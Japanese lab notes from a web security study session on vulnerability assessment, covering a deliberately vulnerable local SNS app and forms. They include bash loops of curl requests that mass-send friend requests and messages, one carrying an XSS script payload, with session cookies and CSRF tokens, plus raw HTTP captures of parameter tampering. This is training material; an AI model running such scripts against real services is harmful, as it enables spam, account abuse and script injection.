コンテンツにスキップ

第10回 MBSD セキュリティ勉強会

脆弱性診断とは

巡回 提案、契約 診断 報告書 問い合わせ対応

巡回が面倒 テスト件数が1件 次へボタンがないのに プレミアム会員と一般会員

既存の脆弱性だけでなく、診断員による診断

脆弱性診断の種類

スマホのsdcard領域は準パブリック

Webアプリとは

Web Service

  • 動的コンテンツ
  • 静的コンテンツ

--

脆弱なアプリケーション form1 getのパラメータがそのまま出力される dog, catの選択

dogが好きなんですね

form2 postのがそのまま表示 - おにぎり100円 - お弁当1000円 - お茶 500円

100円

SNS

アカウント登録画面で登録される

(q1)

メッセージ(メール)を送ってみる(get)

(q2)

フレンド認証の回避 1. 友達申請のリクエスト(get) 2. 友達になるレスポンス(get)

(q3)

ブログ記事を書き換え 1. サイトの記事表示は脆弱性ない 2. 記事の編集と削除が可能 3. 記事編集画面は記事を編集可能

記事編集画面のサブミット時にブログ記事に振られた識別子が含まれてる。(タイトルとコンテンツを書き換え可能) CSRF対策してあった.(post)

ポストだからcurlで投げようとしたらできなくて辛かった(コピペマン死亡)

真面目にツール作ろうかな


(オフレコ)

  • AWSの診断は申請しないと大変
  • 脆弱性の診断はSQLインジェクションが多い印象
  • フレームワーク組み合わせてれば脆弱性ないと思いがちだけどある。
  • 診断しているアプリ作ってるのは底辺のアプリエンジニア
  • 脆弱性見つけて報告しても修正が不十分で再診断しても治ってないことは半分くらいある
  • 診断受ければ安心していると思っている(健康診断受けただけで健康になったと勘違いするな)
  • ツールはBurpSuite使ってる
  • ソースコードの診断ではなくあくまでも、フロント部分から攻撃する
  • ひどい案件は直接出向いて違ってる箇所を指示して直させたこともw
  • 攻撃と診断はやっていることは同じだよ
  • 場合によってはサービスダウンが有り得る
  • 多い脆弱性はロジカルな部分かも(すでに登録されたクレカ番号とかメアド)
  • 脆弱性の診断のはずが「攻撃しないでくれ」という電話がかかってきた
  • 脆弱性の診断は楽しくない(作業ゲー的)
  • たまに楽しい。とくに大きな脆弱性を見つけると楽しい

--

curl http://192.168.1.80/webmix3/user.php?id=29

(2)フレンド申請と認証のセット

for hoge in {1..100}
do
    curl "http://192.168.1.80/webmix3/user.php?id=$hoge" -H 'Cookie: PHPSESSID=3ctt8dac722r6mbtrsr171ldh5' -H 'Origin: http://192.168.1.80' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: ja,en-US;q=0.8,en;q=0.6,zh-CN;q=0.4,zh;q=0.2,ru;q=0.2,da;q=0.2,fr;q=0.2' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://192.168.1.80' -H 'Connection: keep-alive' -H 'DNT: 1' --data 'type=1&to_id=8&csrf_token=0aa7c2560bfab32cbf1f715311a2f1626508d488' --compressed 2>1 >/dev/null
    curl 'http://192.168.1.80/webmix3/index.php' -H 'Cookie: PHPSESSID=l09gelmo5c3n3bagv85n0as727' -H 'Origin: http://192.168.1.80' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: ja,en-US;q=0.8,en;q=0.6,zh-CN;q=0.4,zh;q=0.2,ru;q=0.2,da;q=0.2,fr;q=0.2' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://192.168.1.80/webmix3/index.php' -H 'Connection: keep-alive' -H 'DNT: 1' --data "type=1&from_id=$hoge" --compressed
done

(1)メッセージ送信「hello world」

for hoge in {1..100}
do
    echo $hoge
    curl 'http://192.168.1.80/webmix3/sendmail.php' -H 'Cookie: PHPSESSID=7hm9l9blhtjpqhiq6453fa1se7' -H 'Origin: http://192.168.1.80' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: ja,en-US;q=0.8,en;q=0.6,zh-CN;q=0.4,zh;q=0.2,ru;q=0.2,da;q=0.2,fr;q=0.2' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://192.168.1.80/webmix3/sendmail.php' -H 'Connection: keep-alive' -H 'DNT: 1' --data "csrf_token=e94a332da7502c8cbe21f36f17402ee0c9b7bd62&to_id=$hoge&title=hello&message=hello+world&csrf_token=e94a332da7502c8cbe21f36f17402ee0c9b7bd62" --compressed
done

(1)メッセージ送信「XSS」

for hoge in {1..100}
do
    echo $hoge
    curl 'http://192.168.1.80/webmix3/sendmail.php' -H 'Cookie: PHPSESSID=7hm9l9blhtjpqhiq6453fa1se7' -H 'Origin: http://192.168.1.80' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: ja,en-US;q=0.8,en;q=0.6,zh-CN;q=0.4,zh;q=0.2,ru;q=0.2,da;q=0.2,fr;q=0.2' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://192.168.1.80/webmix3/sendmail.php' -H 'Connection: keep-alive' -H 'DNT: 1' --data "csrf_token=e94a332da7502c8cbe21f36f17402ee0c9b7bd62&to_id=$hoge&title=this_is_xss&message=<script>alert();</script>&csrf_token=e94a332da7502c8cbe21f36f17402ee0c9b7bd62" --compressed
done

(3)WriteDiary --> POSTだから自動化できない(´・ω・`)

curl 'http://192.168.1.80/webmix3/writediary.php' -H 'Cookie: PHPSESSID=7hm9l9blhtjpqhiq6453fa1se7' -H 'Origin: http://192.168.1.80' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: ja,en-US;q=0.8,en;q=0.6,zh-CN;q=0.4,zh;q=0.2,ru;q=0.2,da;q=0.2,fr;q=0.2' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://192.168.1.80/webmix3/writediary.php' -H 'Connection: keep-alive' -H 'DNT: 1' --data 'id=&mode=write&title=title&content=mess&mode=2' --compressed

GET /form1.php?animal=cat HTTP/1.1
Host: 192.168.1.80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Referer: http://192.168.1.80/form1.php
Cookie: PHPSESSID=8e3r9f8qan97hmf8sieoo74r23
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Wed, 31 May 2017 19:24:34 GMT
Server: Apache/2.4.6 (CentOS) PHP/7.0.9
X-Powered-By: PHP/7.0.9
Content-Length: 98
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>form1</title>
</head>
<body>
cat好きな人ですね。</body>
</html>

POST /form2.php HTTP/1.1
Host: 192.168.1.80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Referer: http://192.168.1.80/form2.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Cookie: PHPSESSID=8e3r9f8qan97hmf8sieoo74r23
Connection: close
Upgrade-Insecure-Requests: 1

price=100

HTTP/1.1 200 OK
Date: Wed, 31 May 2017 19:28:37 GMT
Server: Apache/2.4.6 (CentOS) PHP/7.0.9
X-Powered-By: PHP/7.0.9
Content-Length: 406
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>form2</title>
</head>
<body>
<form action="form2.php" method="post">
  どれを購入しますか?Ÿ<br>
  <input type="radio" name="price" value="100">おにぎり  €€100円††<br>
  <input type="radio" name="price" value="500">かけそば  500円<br>
  <input type="radio" name="price" value="1000">天ぷらそば €€1000円††<br>
  <input type="submit">
</form>
</body>
</html>